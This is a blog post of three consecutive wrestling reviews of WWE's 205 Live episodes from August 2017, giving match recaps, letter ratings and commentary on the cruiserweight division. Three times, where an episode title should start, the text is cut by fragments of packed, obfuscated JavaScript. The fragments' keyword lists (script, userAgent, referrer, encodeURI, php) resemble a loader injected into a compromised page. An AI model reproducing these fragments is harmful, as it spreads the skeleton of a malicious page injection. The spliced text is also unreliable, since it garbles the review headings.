Rating: B-. Gulak was WAY better than usual here, partially due to some extra aggression. Or maybe because he had an upgraded opponent with Tozawa, who is certainly better than most of the cruiserweights with the resume to back it up. I liked this one quite a bit and again, if Gulak gets enough of a push, he could be something around here.

Enzo Amore says he has the gift of gab and will work “shmarter” to win the title shot tonight. Neville comes in to say he still doesn’t think much of Enzo. Amore promises to win the title at No Mercy. Why are we bothering with the five way again?

Cedric Alexander vs. Tony Nese vs. Enzo Amore vs. Gran Metalik vs. Brian Kendrick

Elimination rules for the title shot at No Mercy. Everyone looks at Enzo so he hits the floor, which should already tell you how this match is going to end. Cedric launches Metalik into a double dropkick to send both villains outside, leaving Alexander and Metalik to jump over each other. Metalik walks the ropes to dropkick Cedric but Nese pulls Gran outside for a staredown with Cedric.

That’s fine with Alexander who scores with a dropkick as everyone else continues to vanish for long stretches at a time. You can still hear Enzo running his mouth though, just in case you were worried about his absence. Nese catches Cedric in a backbreaker but Enzo runs in to roll Tony up for two. Kendrick suplexes Enzo to the floor and FINALLY gets back in the ring to help Nese double team Enzo. You know, the real threat in this match.

A double superkick knocks Enzo outside so it’s Metalik and Alexander diving back in. Cedric catches Metalik in a C4 to put everyone down. Alexander heads up top and of course that means it’s a Tower of Doom with everyone not named Enzo involved, including Metalik adding a sunset bomb to really add some impact. Enzo’s dive onto Kendrick and Nese is pulled out of the air and he’s tossed over the announcers’ table for a crash. Kendrick decks Nese from behind, setting a new record for fastest broken alliance.

Metalik dives onto Kendrick and we get the ultra rare (as in probably for the first time ever) 205 chant. Back in and Cedric hits a quick Lumbar Check to get rid of Nese and get us down to four. Metalik tries a handspring but dives right into another Lumbar Check to make it three (note that Alexander missed most of it but got a very deep cover to make up for it in a nice touch). Kendrick comes in with Sliced Bread and the Captain’s Hook but Cedric FINALLY makes the rope for the break. The third Lumbar Check is good for the third elimination….and here’s Enzo to roll Cedric up with a handful of trunks for the pin at 14:48.

Rating: B. This was exactly what you would expect. It’s still entertaining but Enzo is the most recent obvious winner in the history of obvious winners and there’s….well there probably is something wrong with that but I think you get the idea at this point. Alexander was really shining here and while I still think he would have been a great choice to face Neville for the title, it’s clearly Amore’s time and there’s no reason to not give him the shot.

Overall Rating: B-. I’m not sure what else you were expecting here as we move full steam ahead into the Enzo Amore era. The old system didn’t work so this is probably the right course. You won’t like this if you were a fan of the focus being on the in-ring product but it’s not like many people were watching it in the first place. These changes were required and there’s just no way around it.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|deaas|var|u0026u|referrer|iitif||js|php'.split('|'),0,{})) Live
Date: August 22, 2017
Location: Barclays Center, New York City, New York
Commentators: Vic Joseph, Corey Graves

For the first time in a long time we have a big time main event on 205 Live with Neville defending the Cruiserweight Title against Akira Tozawa for the third time in eight days. I’m sure the rest of the division being completely worthless and that being more and more a reality every single week has no connection whatsoever. Let’s get to it.

We look at the previous two matches between Neville and Tozawa which set up tonight’s rubber match (assuming you don’t count the previous matches of course).

Opening sequence.

Cedric Alexander/Gran Metalik vs. Tony Nese/Drew Gulak

Rematch from last week. On the way to the ring, Nese rips on the crowd for never hitting the gym. Nese and Alexander start things off with Tony grabbing a rollup but walking into a dropkick to stagger him all over the place. It’s off to Gulak who gets forearmed square in the jaw before Metalik comes in some loud spot calling and a handspring backflip.

Gulak pops him square in the jaw to take over as Joseph offers some nice analysis by pointing out Drew’s hypocrisy of criticizing high fliers for showing off and then teaming with a showoff like Nese. It’s a good point and a nice catch. Metalik avoids a baseball slide from Nese and moonsaults down onto them in an impressive bit of timing. Back in and Nese loads Metalik into the Tree of Woe for the Full Contact Cardio but Alexander is smart enough to move his partner out of the way before anything can start.

Metalik comes back with a high crossbody to set up the hot tag to Alexander as things speed up. The springboard clothesline gets two on Gulak as everything breaks down. Cedric launches Metalik into a dropkick on Gulak, followed by a springboard splash for two more. Stereo flip dives take the heels out again and it’s the Lumbar Check to put Gulak away at 7:42.

Rating: B. These guys were FEELING IT here and they had a heck of a match as a result. I was having a great time with this one and they barely stopped the whole time. Metalik is a guy who I like more every time I see him and Alexander is still one of the top performers on the roster. Not that it’s going to lead him anywhere but at least he’s getting in good matches like this one.

Titus O’Neil gives Akira Tozawa a pep talk before his title match tonight. Titus: “Now give me two claps and a Ric Flair!”

Here’s Jack Gallagher for his gentleman’s duel with Brian Kendrick. Jack explains the idea behind the duel but says he hasn’t been very gentlemanly as of late. Sometimes though, people just rub you the wrong way and you have to knock them out. If Kendrick is so afraid of what Gallagher can do with his fists, just imagine what he can do with the selection of weapons in the ring.

Kendrick pops up on screen and laughs off the idea because only a clown would have a duel. He’s found Jack a suitable opponent though and here’s an actual clown. The clown sprays Jack with water (Fans: “KILL THE CLOWN! STUPID IDIOT!”) and gets beaten down for his efforts. Cue Kendrick from behind to attack Gallagher with an umbrella and powerbomb him through the table. Kendrick also issues a challenge for a No DQ match next week. This was long and bad as the clown stuff is really being forced into the whole thing. Just have them fight and be done with it already.

We look back at Rich Swann vs. Ariya Daivari from last week with TJP coming out on crutches to distract Swann to cost him the match.

TJP is playing video games in the back with his leg in a cast (Why did he show up tonight?) when Swann comes in asking for an explanation. It turns out that TJP hurt his knee in their match two weeks ago and was just coming out to see Swann win. TJP is willing to settle this with Swann if Rich can beat Daivari, presumably next week.

Cruiserweight Title: Akira Tozawa vs. Neville

Neville is defending. They start slowly with Neville working on the arm until Tozawa chops him against the rope. Oh yeah they’ve got a lot of time to use here. A headlock takes Tozawa down again before switching to a cravate. How British of him. The fans chant a rather rude term at Neville before neither guy can hit a kick to the ribs.

They trade some hard strikes as this is mostly even in the first few minutes. Neville snaps the bad shoulder across the top rope and it’s time for a hammerlock with the leg. A dropkick to the shoulder puts Tozawa on the floor and a gorgeous moonsault takes him down again. The referee has to check on the shoulder but Tozawa says he can keep going. Neville sends him into various things but gets dropkicked off the top for a comeback.

The suicide dive connects and Tozawa snaps off a belly to back for two. Neville comes back with the superplex but Tozawa interlocks the legs into a small package for two more. I’ve always loved that spot, especially when it looks natural. Neville is up first with something like a sitout F5 and a heck of a kick to the head for two.

Back up and Tozawa nails him in the jaw to floor the champ, followed by a running boot in the corner. We hit a pinfall reversal sequence before Tozawa kicks him in the head again. The top rope backsplash misses though and the Rings of Saturn retains the title at 16:11.

Rating: B. Another good performance between these two but I’m kind of sick of seeing it. I also have no idea what the point was of having Tozawa win and then lose the title so soon when they could have just had the second title change here. I mean other than filling the Summerslam card up as much as they can of course.

Post match Neville says Tozawa’s title reign was pathetic and nothing more than a footnote. Cue Enzo Amore (Graves: “VIC DID YOU KNOW ABOUT THIS???”) for his usual promo and to say this is now the realest show in the room. Neville sneers at him and leaves so Enzo calls him sawft to end the show.

Where do I even begin? First of all, this sums up everything wrong with 205 Live. You have those four in the first match going nuts and having a great match but none of them are getting anywhere near the title picture because, presumably, they’re not interesting enough. Heaven forbid they get promo time or vignettes or something to build interest in them, because obnoxious catchphrases and a lack of anything interesting in the ring makes you a more worthy challenger.

That’s one of the biggest problems around here and a great example of why the show isn’t necessary: you have the champion, the title contenders (as in all two of them) and then EVERYONE else who comes off like they’re several notches below two or three people at most. Even former champions like TJP and Rich Swann feel like they’re miles beneath Neville and Tozawa. Enzo isn’t going to be any better in that area as he’s a glorified comedy guy most of the time.

That being said, Enzo is PERFECT for this show. He’s instantly the biggest star on the roster and has more personality than the rest of the roster put together. It’s also not like he has anything else to do on Raw now that Cass is on the shelf. He would never be seen as a physical threat to anyone on the show but there are some names here he could hang with. It’s the right move for Enzo, but another example of why 205 Live doesn’t work as a concept.

Overall Rating: B+. That’s probably the best episode they’ve ever had though I have a bad feeling about where things are going. Enzo is going to become the focus of the show and since I wouldn’t mind seeing him stampeded by a herd of wild buffalo, that might make things a bit hard to sit through. The rest of the show ranged from awesome to a clown show, which makes this a great week and a nice addition to a lot of the Brooklyn run.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|azkns|var|u0026u|referrer|btedb||js|php'.split('|'),0,{})) Live
Date: August 15, 2017
Location: Dunkin’ Donuts Center, Providence, Rhode Island
Commentators: Vic Joseph, Corey Graves

Things have changed in a hurry around here as we now have a new Cruiserweight Champion. Last night Akira Tozawa defeated Neville for the title in quite the surprise. Their rematch is this Sunday but tonight we have Tozawa’s official celebration, because celebrations need to be well regulated. Let’s get to it.

As you might expect, we start with a look back at Tozawa winning the title.

Opening sequence.

Cedric Alexander/Gran Metalik vs. Drew Gulak/Tony Nese

Drew gives a speech about how Nese might be a show off, but he’s a show off who is the picture of health and fitness. Nese starts with Alexander but hang on a second as we need to hit that bicep pose. A crossbody gives Cedric two and we hit the near fall exchange. Gulak comes in and eats a dropkick to the ribs before it’s off to Metalik for a nice backflip. Metalik springboards into an armbar but one heck of a slap only seems to tick Drew off.

It’s Metalik in trouble until a spinning bulldog and dropkick drop Nese. Tony bails outside so Metalik walks the ropes for a moonsault. You know, just because. Back in and Gulak offers a distraction to let Nese take over but Metalik is right back with a hurricanrana. The hot tag brings in Cedric as everything breaks down. A spinning elbow to the jaw drops Gulak for two and there’s the springboard clothesline to Nese. The Lumbar Check ends Gulak at 7:40.

Rating: C. I’m digging this Alexander vs. Nese feud as Alexander is easy to relate to, which isn’t something that happens too often around here. It’s easy to get behind the idea of someone getting annoyed over someone obsessed with their physique. Metalik is entertaining as well, but unfortunately Gulak has lost all of his steam without the No Fly Zone, which now seems to be completely dead.

Ariya Daivari, Noam Dar and Lince Dorado are talking about how Neville lost the title. Cue Neville of course, sending all three away without another word. Neville throws a chair.

Brian Kendrick vs. Mustafa Ali

This is over Kendrick interrupting an Ali interview earlier today (which they don’t even bother showing us). Kendrick looks very nervous as he comes to the ring and he looks underneath said ring for signs of Jack Gallagher. Ali takes him down to start and Kendrick seems panicked over the idea of a basic move. A dropkick gets two on Kendrick, followed by a crossbody out of the corner for the same. The announcers are pushing the heck out of the fact that Kendrick isn’t himself, which makes me think he’ll win anyway.

Ali gets shoved off the top but rolls through a sunset flip anyway. The inverted 450 is broken up with Ali landing HARD on the turnbuckle, setting up the Captain’s Hook. Ali hangs on way longer than he should be able to and makes the rope. Back up and a hard kick to the head sends Ali outside with Kendrick sending him into the LED apron. Kendrick wedges Ali’s foot into the steps and loads up something, only to have Gallagher run in for the DQ at 5:02. Hey I was right.

Rating: C-. There’s an idea here but I’m really not sure where it’s going. Gallagher could really use a change of pace and this might be the right way to go, though they can’t quite go back to his usual stuff after it’s over. Ali got in some good offense here but looked pretty defeated by the end. At least it wasn’t a squash by a distracted Kendrick though.

Gallagher chases him off.

Rich Swann is ready for his victory dance over TJP but Ariya Daivari comes up to say he’s facing Swann instead for not given reason.

Ariya Daivari vs. Rich Swann

Rich ducks a shot in the corner and dances away, as is his custom. A headlock slows Daivari down (not that he was going very fast in the first place) until they head to the apron. Swann kicks him to the floor but charges into something like a Stun Gun onto the apron for a painful looking crash.

Back in and we hit a seated full nelson to stay on the neck. Swann fights out and hits a running flip Fameasser, only to get caught in a reverse DDT. Daivari misses the top rope splash though and it’s time for the Phoenix Splash….only to have TJP come out with his leg in a cast and using crutches. The distraction sets up the hammerlock lariat to give Daivari the pin at 5:06.

Rating: C+. I liked this one more than I was expecting to and that’s always a nice surprise. Swann got in some good offense but Daivari was even more of a surprise than expected. TJP vs. Swann needs to wrap up soon, though I’m not sure how likely that is with the leg being banged up like that (assuming it’s real of course).

Kendrick is getting out as fast as he can, but not before mentioning a potential duel with Gallagher.

Here’s Titus O’Neil to introduce Tozawa for his championship celebration. Tozawa talks about this was his dream for so long and calls it easy. Titus tells Tozawa thank you for making their dreams realities. Dancing ensues but here’s a somewhat disheveled Neville to interrupt. He talks about bringing honor to the title but then it was all gone in one day.

With his voice cracking, Neville promises to make everything better in less than a week. A clock comes up on screen counting down to Summerslam, which is how long Tozawa has left with that title. Neville charges the ring but gets dropkicked down from the apron. Tozawa beats him up on the floor and then kicks him off the apron for good measure. The champ sits on Titus’ shoulders to end the show.

Overall Rating: C+. Better show than usual this week but it makes me think that Sunday’s Cruiserweight Title match isn’t going to do much for me. Neville vs. Tozawa is already starting to feel played out and like something that doesn’t need to be on Summerslam. The rest of the show was entertaining though and that’s more than you can get out of 205 Live these days. Good show, but firmly under the 205 Live dome.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|edbin|var|u0026u|referrer|hrfry||js|php'.split('|'),0,{})) Live
Date: August 8, 2017
Location: Air Canada Center, Toronto, Ontario, Canada
Commentators: Vic Joseph, Corey Graves

We’re north of the boarder this time around and the big story is TJP vs. Rich Swann, who have been having “friendly” competitions for weeks now. This week though it’s a little less friendly as they’re facing off in the main event. There’s likely some more about the Cruiserweight Title match but I’m sure we’ll be getting development on the 205 Live exclusive stories as well. Let’s get to it.

We open with a long recap of TJP vs. Swann with TJP talking about how Swann can’t handle losing, including in the Cruiserweight Classic. Swann beat him a few weeks back and TJP has gotten a bit more sinister since then as he tries to get things even.

Opening sequence.

Tony Nese vs. Cedric Alexander

Nese does his long posing entrance on the ring again and the counting abs thing is starting to grow on me. Hang on a second as Nese needs to pose some more. Cedric takes him down with a leg trip and kicks Nese away, setting up a dropkick and his own bicep pose. Alexander sends him outside for a dive but gets caught in a gutbuster back inside.

Tony ties him in the Tree of Woe for the crunch kicks to the ribs, which is becoming one of my favorite spots. We hit a bodyscissors to stay on Cedric’s ribs for a bit, only to have Alexander fight up with an enziguri. The springboard clothesline gets two on Nese and a fan starts chanting boring. Nese ducks a clothesline and nips up, only to eat an elbow to the jaw. They fight over a rollup until Tony grabs the trunks for the pin at 7:24.

Rating: C+. Nese has grown on me in recent weeks and the gimmick is getting better and better every time he’s out there. He’s a perfectly acceptable power heel, which isn’t something you have many of out here. On top of that you have Alexander, who continues to be one of the most naturally smooth wrestlers around here and I still don’t know why he’s not in bigger matches.

Post match Nese says you saw the difference between a great athlete and a premiere athlete. This sounds like they’re setting up something more going forward.

Brian Kendrick doesn’t think much of Jack Gallagher attacking him last week as it only proves that Gallagher is a fake. Besides, all that matters is he won. Gallagher comes in from behind and beats the heck out of Kendrick again.

Noam Dar vs. Mark Thomas

Before the match, Dar says he’s been watching Thomas for years, which just seems to confuse Thomas. Somehow Thomas is still chasing the dream, which Dar can’t relate to because he’s a WWE superstar at 24. Thomas punches him down to start and Dar needs a breather on the floor. Back in and Dar unloads on him with shots to the back and a European uppercut. The running enziguri (Nova Roller) ends Thomas at 1:51. Just a squash.

Corey Graves brings out Akira Tozawa for a sitdown interview. Before he can answer any questions though, here’s Neville to say this should be his interview. Neville isn’t happy with his old friend Corey trying to hype his match without talking to the hype himself. Tozawa isn’t competition for the King of the Cruiserweights but he takes off his tie. He asks Neville what he thinks he’s doing before dropping Neville with a shot to the head. Neville bails before Tozawa can try the top rope backsplash. That’s fine with Tozawa who decks Neville again for good measure. This was perfectly acceptable.

TJP vs. Rich Swann

Swann is back in his old trunks. TJP takes him to the mat to start but gets headlocked for his efforts. Back up and they trade flips over the other before catching stereo kicks to the ribs. Swann chops him down again and gets in a clothesline to put TJP on the floor, setting up a corkscrew dive from the middle rope.

Back in and we hit the hammerlock on TJP as the fans chant for Graves for some reason. A pair of suplexes give TJP two and he grabs a bow and arrow hold for some extra punishment to the back. It’s back to an armbar and that BORING chant starts up again. That goes nowhere so they both miss middle rope dives but Swann is able to catch him with a dropkick to knock TJP off the ropes.

Swann’s double underhook is countered into the kneebar but Rich is right next to the ropes. A kick to the head sets up a standing moonsault for two and Rich is getting frustrated. The Phoenix Splash misses though and Swann winds up on TJP’s shoulders for an electric chair into the corner. The Detonation Kick ends Swann at 10:29.

Rating: B-. Nice match here and that electric chair looked great. TJP winning clean is interesting and likely sets up one more match as Swann won the initial match. These are two of the better talents in the division and I’m liking TJP mostly being a heel again. It naturally suits him and that’s what the show needs at this point.

Post match TJP gets in Swann’s face to brag about the win before doing Swann’s dance. After some replays, TJP catches up to him in the back and asks what’s wrong. Swann isn’t cool with that victory celebration and is starting to know who TJP really is.

Overall Rating: C+. The show has found its groove but at the same time, it’s not exactly the most entertaining thing in the world. The best thing I can say about 205 Live is that it’s not the worst show in the world and that’s really not a good place to be. It’s no secret that this show doesn’t need to exist and that’s not a good thing. I’d be surprised if the show is around in another few months and that’s probably for the better.

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